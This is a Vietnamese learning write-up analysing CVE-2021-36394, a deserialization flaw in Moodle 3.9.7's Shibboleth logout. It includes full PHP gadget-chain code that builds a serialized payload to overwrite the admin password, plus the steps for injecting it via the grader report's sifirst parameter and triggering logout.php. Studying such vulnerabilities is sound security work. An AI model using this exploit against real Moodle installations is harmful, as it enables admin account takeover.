Mưa rất to, có những cơn gió heo hút bên ô cửa sổ. Hehhe Nói vu vơ xí, hôm nay tôi sẽ phân tích sâu một tí về CVE của moodle này. Thực ra CVE được rất nhiều người làm rồi, nhưng tôi vẫn muốn viết một cái cho riêng mình. Bởi tôi đang cố gắng học về deserialization attack. Bắt đầu nhé!!! **I. Setup** https://www.youtube.com/watch?v=_S_GNTfMztw&t=290s các bạn có thể setup theo video này nhé. phiên bản lỗi là 3.9.7 bạn có thể dowload ở đây: https://github.com/dinhbaouit/CVE-2021-36394/blob/master/README.md Sau đó, chọn Site administration -> Plugins -> Manage Authentication -> bật Shibboleth(đây chính là modul bị lỗi) Ngoài ra bạn có thể setup debug bằng xampp nữa nhé. https://www.youtube.com/watch?v=gcNR0txG-h8&t=776s Lưu ý vì đây là phiên bản moodle cũ nên nó chạy bằng php cũ, nếu ai muốn setup phiên bản php cũ thì xem video này nhé. https://www.youtube.com/watch?v=CnIXzKJqCqs **II. Recon** Lỗi nằm ở hàm logout_file_session(). ![image](https://hackmd.io/_uploads/BJGQM_uWkl.png) Nói qua một chút, Moodle sử dụng auth bằng cách lưu các session ở các file, sau đó xác thực hay logout dựa trên nội dung trong các file đó. ![image](https://hackmd.io/_uploads/H19jbOOW1e.png) Thư mục chứa seesions khi build bằng xammp. Quay lại với hàm logout_file_seesion, hàm này sẽ lấy duyệt qua hết tất cả các file nằm trong moodledata/seesions, sau đó sẽ gọi hàm unserializesession() để unserzialize() session. ![image](https://hackmd.io/_uploads/Sk60V_Obkl.png) Sau đó trả về một mảng, nếu đúng với seesion đang muốn logout thì xóa file đó đi. Ở hàm unserializesession() ta thấy răng chuỗi được phân cách bằng | , tức là seesion sẽ lưu dạng abccc|dfedsa|ffbn. Ví dụ: ![image](https://hackmd.io/_uploads/SkUHBd_ZJg.png) Vậy làm sao để có thể chèn seesion vào được. Ta thấy file grade\report\grader\index.php là nơi mà user có thể control được: ![image](https://hackmd.io/_uploads/SyThr_d-1l.png) Ta gửi GET tới file này, và chèn bằng tham sifirst hoặc silast sẽ ok. Chèn payload đã ok, vậy làm sao để gọi hàm logout_file_session(). Ta thấy được hàm này được gọi ở file auth\shibboleth\logout.php. ![image](https://hackmd.io/_uploads/BJJEUd_-1g.png) Vậy đường đi của ta sẽ là: 1. Chèn payload bằng việc gửi res GET qua file grade\report\grader\index.php bằng silast hoặc sifirst. Tuy nhiên, payload phải dạng abc|<payload>|def lí do đã giải thích ở phía trên. 2. Sau đó, gọi hàm logout -> unser -> và attack Đường đi là vậy, tuy nhiên, thứ ta quan trọng nhất là payload, hay có thể gọi là chain.. Chain trong derialize là việc sử dụng các thư viện, các hàm ở chính trong source của target để thực hiện theo ý của mình. Ở đây tôi focus theo chain trên mạng để phân tích. Chain này là chain dùng để đổi mật khẩu admin. ```php= <?php /* vc Demo: https://www.youtube.com/watch?v=rn4ENyASWe8 Blog: https://0xd0ff9.wordpress.com/2021/08/28/cve-2021-36394-hack-truong-sua-diem-cac-kieu/ */ namespace core\lock { class lock {} } namespace gradereport_singleview\local\ui { class feedback{ } } namespace core_availability{ class tree {} } namespace core\dml{ class recordset_walk {} } namespace core_analytics{ class course {} } namespace { class grade_item{} class grade_grade{} class gradereport_overview_external{} function update_table($url, $MoodleSession, $table, $rowId, $column, $value){ $add_lib = new \core_analytics\course(); $lib_fb = new \core\lock\lock(); $lib_fb -> key = new \core_availability\tree(); $lib_fb -> key -> children = new \core\dml\recordset_walk(); $lib_fb -> key -> children -> callback = "var_dump"; $lib_fb -> key -> children -> recordset = "1"; $lib_fb -> released = false; $base = new gradereport_overview_external(); $fb = new gradereport_singleview\local\ui\feedback(); $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; $fb -> grade -> grade_item -> table = $table; $fb -> grade -> grade_item -> id = $rowId; $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); $lib_fb -> caller = $fb; $arr = array($add_lib, $lib_fb,$base); $value = serialize($arr); print_r(serialize($arr)); } $table = "user"; //table exclude prefix mdl_ $rowId = 2; // row id to insert into. 1 is guest $column = 'password'; //column name to update $newpassword = "ABC123"; $newpassword_hash = password_hash($newpassword, PASSWORD_DEFAULT); $value = $newpassword_hash; update_table($url, $MoodleSession,$table,$rowId,$column, $value); } ?> ``` * Tôi sẽ phân tích một số lưu ý về chain: [+] Thứ nhất, ta thấy ở hàm logout_file_session() không có thao tác gì về in chuỗi, echo, hay print nên việc sử dụng một class có hàm __toString() là không được. Có lẽ ta sẽ chọn class nào có hàm __destruct() [+] Thứ hai, moodle sẽ chỉ load được các hàm nhằm trong */classes được xử lý ở file lib\classes\component.php ![image](https://hackmd.io/_uploads/SyORgo_ZJl.png) Nếu bạn bật debug, bạn sẽ thấy rằng khi bạn gọi qua một class khác, hàm này sẽ được gọi để check xem class đó có nằm trong phạm vi được gọi không: ![Screenshot 2024-11-05 104450](https://hackmd.io/_uploads/BJW4bjuWye.png) Tuy nhiên, ta có thể gọi các class không được gọi bằng việc gọi qua các class có rứa include_once, hay require_once để gọi class nằm trong đó. * Phân tích về chain: ```php= \core_analytics\course() : analytics\classes\course.php \core\lock\lock() : lib\classes\lock\lock.php \core_availability\tree() :availability\classes\tree.php \core\dml\recordset_walk() :lib\classes\dml\recordset_walk.php gradereport_overview_external() :grade\report\overview\classes\external.php gradereport_singleview\local\ui\feedback():grade\report\singleview\classes\local\ui\feedback.php grade_grade() :lib\grade\grade_grade.php grade_item() :\xampp\htdocs\moodle\lib\grade\grade_item.php grade_object() : lib\grade\grade_object.php ``` Đây sẽ là đường dẫn các class để các bạn dễ tìm trong khi khai thác. Đầu tiên: Khai thác ở class grade_object có hàm update là hàm dùng để update bất kỳ table, và data nào: ![image](https://hackmd.io/_uploads/SJeofsObJx.png) Ta sẽ dùng hàm đó để update mật khẩu của admin. Chúng ta sẽ lợi dụng hàm update feekback để update mật khẩu của admin. Giờ hãy focus theo đoạn code chain ở phía trên nhé. Đầu tiên phải gọi class core_analytics/course để trong đó nó require_once class gradelib.php ![image](https://hackmd.io/_uploads/ryijQodbkl.png) ở class gradelib.php nó lại require_once /grade/grade_item.php và /grade/grade_grade.php ![image](https://hackmd.io/_uploads/Sy9l4jdZyx.png) Hai class này là hai class cần khai thác nhưng không nằm trong phạm vi. Sau đó, khi đã đủ các class để xây dựng chain. Ta cần kiếm một class có hàm __destruct vì mục tiêu của ta là dùng nó để khai thác. Sau khi tìm, thì ta tìm được class lock, vì nó dùng ép kiểu string bằng nối chuỗi nên ok. ![image](https://hackmd.io/_uploads/HytQHo_W1e.png) Ta thấy ở hàm __destruct gọi this->caller nên ta sẽ muốn tập trung vào nó. ![image](https://hackmd.io/_uploads/HyVmvsu-Jl.png) Class lock có 3 tham số $key, $factory,$released,$caller nhưng vì ta chỉ gọi hàm hủy nên thôi bỏ qua $factory. Key sẽ là một int, được genera từ một hàm trong hệ thống, nên ta để key là một đối tượng của \core_availability\tree(), rồi xử lý: ![image](https://hackmd.io/_uploads/S1OluouW1e.png) ![image](https://hackmd.io/_uploads/Hysmuidbyx.png) ![image](https://hackmd.io/_uploads/SJL8dsuWkx.png) Để ý ở hàm dựng $callback sẽ làm callable, nên nó có thể là một hàm gì đó. Vậy nên tác giả sử dụng var_dump(1) để rend ra số 1 phù hợp với biến key. Sau đó, ta lại set cái released bằng false để chạy vào được hàm __destruct(). Bắt đầu khai thác chain ở class feedback() Vì ở lock() hàm __destruct() có sử dụng nối chuối nên khi gọi đến $this->caller đang là feedback, nên nó sẽ gọi về class feedback để tìm hàm toString(). ![image](https://hackmd.io/_uploads/SknmBbK-1e.png) Mà bởi vì là nó k có hàm toString() nên nó lại kế thừa grade_attribute_format, mà class đó lại kế thừa attribute_format có hàm toString(), nó lại gọi được overide hàm determine_format() của feedback. ![image](https://hackmd.io/_uploads/SydEthOZkl.png) determine_format() lại gọi hàm is_disabled() -> lại gọi hàm is_overridable_item(). ![image](https://hackmd.io/_uploads/SJ-ecnObJx.png) Hàm is_overridable_item() này lại được gọi từ thuộc tính grade, trong chain ta để grade là một đối tượng của grade_item. ![image](https://hackmd.io/_uploads/HkJP3huW1x.png) is_overridable_item() lại gọi hàm is_calculated() ![image](https://hackmd.io/_uploads/SksR33dZJe.png) hàm này tách tham số calculation theo kiểu [['' sau đó lại đưa nó vào hàm set_calculation() ![image](https://hackmd.io/_uploads/Sk9UxlFWke.png) Hàm set_calcculation() sẽ gọi hàm update() ![image](https://hackmd.io/_uploads/rJnYggKbyx.png) Đây chính là hàm ban đầu mà chúng ta nói đến.... Con đường đi theo tôi hiểu là vậy, nó khá là phức tạp nên bạn cần debug để thấy được. III. Exploit Đầu tiên, ta cần đăng nhập, sau đó sử dụng burpsuite để làm cho dễ. Chạy chain: ![image](https://hackmd.io/_uploads/SyJZXeKZJe.png) database ban đầu: ![image](https://hackmd.io/_uploads/S1SvmlKbkx.png) gửi payload lên đường dẫn /grade/report/grader/index.php với tham số sifirst ![image](https://hackmd.io/_uploads/B1JTmxYbkg.png) Nó sẽ được lưu trong file session ![image](https://hackmd.io/_uploads/ryly4gYZ1g.png) Gọi logout.php ![image](https://hackmd.io/_uploads/BkkftxYZJg.png) Database đã thay đổi ![image](https://hackmd.io/_uploads/Hy_-KgKZkg.png) **IV. End** Qua đây hiểu thêm về deserizalize, tuy nhiên có nhiều thứ tôi vẫn không hiểu :))))